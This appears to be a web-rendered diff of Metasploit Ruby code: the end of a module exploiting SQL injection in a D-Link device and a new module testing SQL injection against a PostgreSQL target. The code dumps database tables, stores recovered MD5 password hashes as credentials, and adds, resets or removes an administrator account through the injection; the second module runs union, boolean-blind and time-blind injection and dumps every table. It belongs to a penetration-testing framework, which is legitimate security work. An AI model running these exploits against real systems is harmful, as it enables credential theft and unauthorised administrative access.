||||||
|
create_credential(
|
||||||
|
{
|
||||||
|
module_fullname: fullname,
|
||||||
|
workspace_id: myworkspace_id,
|
||||||
|
username: entry[user_ind],
|
||||||
|
private_data: entry[pass_ind],
|
||||||
|
jtr_format: 'raw-md5',
|
||||||
|
private_type: :nonreplayable_hash,
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
|
}.merge(service_details)
|
||||||
|
)
|
||||||
|
print_good "Saved credentials for #{entry[user_ind]}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
path = store_loot(
|
||||||
|
'dlink.http',
|
||||||
|
'application/csv',
|
||||||
|
rhost,
|
||||||
|
cols.to_csv + content.map(&:to_csv).join,
|
||||||
|
"#{table_name}.csv"
|
||||||
|
)
|
||||||
|
print_good "#{table_name} saved to #{path}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_admin_username
|
||||||
|
if datastore['USERNAME'].nil?
|
||||||
|
fail_with Failure::BadConfig, 'You must specify a username when adding a user'
|
||||||
|
elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }
|
||||||
|
fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def add_user(sqli)
|
||||||
|
check_admin_username
|
||||||
|
admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')
|
||||||
|
user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"
|
||||||
|
# check if user exists, if yes, just change his password
|
||||||
|
if sqli.run_sql(user_exists_sql).to_i == 0
|
||||||
|
print_status 'User not found on the target, inserting'
|
||||||
|
sqli.run_sql('insert into usertable(username,userpassword,level) values(' \
|
||||||
|
"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")
|
||||||
|
else
|
||||||
|
print_status 'User already exists, updating the password'
|
||||||
|
sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \
|
||||||
|
"username='#{datastore['USERNAME']}'")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def remove_user(sqli)
|
||||||
|
check_admin_username
|
||||||
|
sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
unless check == Exploit::CheckCode::Vulnerable
|
||||||
|
print_error 'Target does not seem to be vulnerable'
|
||||||
|
return
|
||||||
|
end
|
||||||
|
print_good 'Target seems vulnerable'
|
||||||
|
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
|
||||||
|
res = vulnerable_request(payload)
|
||||||
|
if res && res.code == 200
|
||||||
|
res.body[%r{<column>(.+)</column>}m, 1] || ''
|
||||||
|
else
|
||||||
|
fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res
|
||||||
|
fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200
|
||||||
|
end
|
||||||
|
end
|
||||||
|
case action.name
|
||||||
|
when 'SQLI_DUMP'
|
||||||
|
dump_data(sqli)
|
||||||
|
when 'ADD_ADMIN'
|
||||||
|
add_user(sqli)
|
||||||
|
when 'REMOVE_ADMIN'
|
||||||
|
remove_user(sqli)
|
||||||
|
else
|
||||||
|
fail_with(Failure::BadConfig, "#{action.name} not defined")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,125 @@
|
||||||
|
# frozen_string_literal: true
|
||||||
|
|
||||||
|
require 'socket'
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::SQLi
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'PostgreSQL injection testing module',
|
||||||
|
'Description' => '
|
||||||
|
This module tests the SQL injection library against the PostgreSQL database management system
|
||||||
|
',
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => %w[linux],
|
||||||
|
'References' =>
|
||||||
|
['URL', 'https://github.com/red0xff/sqli_vulnerable/tree/main/postgresql'],
|
||||||
|
'Targets' => [['Wildcard Target', {}]],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
)
|
||||||
|
)
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RHOST('127.0.0.1'),
|
||||||
|
OptInt.new('RPORT', [true, 'The target port', 1337]),
|
||||||
|
OptString.new('TARGETURI', [true, 'The target URI', '/']),
|
||||||
|
OptInt.new('SQLI_TYPE', [true, '0)Regular. 1) BooleanBlind. 2)TimeBlind', 0]),
|
||||||
|
OptBool.new('SAFE', [false, 'Use safe mode', false]),
|
||||||
|
OptString.new('ENCODER', [false, 'an encoder to use (hex for example)', '']),
|
||||||
|
OptBool.new('HEX_ENCODE_STRINGS', [false, 'Replace strings in the query with hex numbers?', false]),
|
||||||
|
OptInt.new('TRUNCATION_LENGTH', [true, 'Test SQLi with truncated output (0 or negative to disable)', 0])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def boolean_blind
|
||||||
|
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
|
||||||
|
sqli = create_sqli(dbms: PostgreSQLi::BooleanBasedBlind, opts: {
|
||||||
|
encoder: encoder,
|
||||||
|
hex_encode_strings: datastore['HEX_ENCODE_STRINGS']
|
||||||
|
}) do |payload|
|
||||||
|
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
|
||||||
|
sock.puts('0 or ' + payload + ' --')
|
||||||
|
res = sock.gets.chomp
|
||||||
|
sock.close
|
||||||
|
res && !res.include?('No results')
|
||||||
|
end
|
||||||
|
unless sqli.test_vulnerable
|
||||||
|
print_bad("Doesn't seem to be vulnerable")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
perform_sqli(sqli)
|
||||||
|
end
|
||||||
|
|
||||||
|
def reflected
|
||||||
|
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
|
||||||
|
truncation = datastore['TRUNCATION_LENGTH'] <= 0 ? nil : datastore['TRUNCATION_LENGTH']
|
||||||
|
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: {
|
||||||
|
encoder: encoder,
|
||||||
|
hex_encode_strings: datastore['HEX_ENCODE_STRINGS'],
|
||||||
|
truncation_length: truncation,
|
||||||
|
safe: datastore['SAFE']
|
||||||
|
}) do |payload|
|
||||||
|
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
|
||||||
|
sock.puts('0 union ' + payload + ' --')
|
||||||
|
res = sock.gets.chomp
|
||||||
|
sock.close
|
||||||
|
res
|
||||||
|
end
|
||||||
|
unless sqli.test_vulnerable
|
||||||
|
print_bad("Doesn't seem to be vulnerable")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
perform_sqli(sqli)
|
||||||
|
end
|
||||||
|
|
||||||
|
def time_blind
|
||||||
|
encoder = datastore['ENCODER'].empty? ? nil : datastore['ENCODER'].intern
|
||||||
|
sqli = create_sqli(dbms: PostgreSQLi::TimeBasedBlind, opts: {
|
||||||
|
encoder: encoder,
|
||||||
|
hex_encode_strings: datastore['HEX_ENCODE_STRINGS']
|
||||||
|
}) do |payload|
|
||||||
|
sock = TCPSocket.open(datastore['RHOST'], datastore['RPORT'])
|
||||||
|
sock.puts('0 or ' + payload + ' --')
|
||||||
|
sock.gets
|
||||||
|
sock.close
|
||||||
|
end
|
||||||
|
unless sqli.test_vulnerable
|
||||||
|
print_bad("Doesn't seem to be vulnerable")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
perform_sqli(sqli)
|
||||||
|
end
|
||||||
|
|
||||||
|
def perform_sqli(sqli)
|
||||||
|
print_good "dbms: #{sqli.version}"
|
||||||
|
tables = sqli.enum_table_names
|
||||||
|
print_good "tables: #{tables.join(', ')}"
|
||||||
|
tables.each do |table|
|
||||||
|
columns = sqli.enum_table_columns(table)
|
||||||
|
print_good "#{table}(#{columns.join(', ')})"
|
||||||
|
content = sqli.dump_table_fields(table, columns)
|
||||||
|
content.each do |row|
|
||||||
|
print_good "\t" + row.join(', ')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
case datastore['SQLI_TYPE']
|
||||||
|
when 0
|
||||||
|
reflected
|
||||||
|
when 1
|
||||||
|
boolean_blind
|
||||||
|
when 2
|
||||||
|
time_blind
|
||||||
|
else
|
||||||
|
print_bad('Unsupported SQLI_TYPE')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue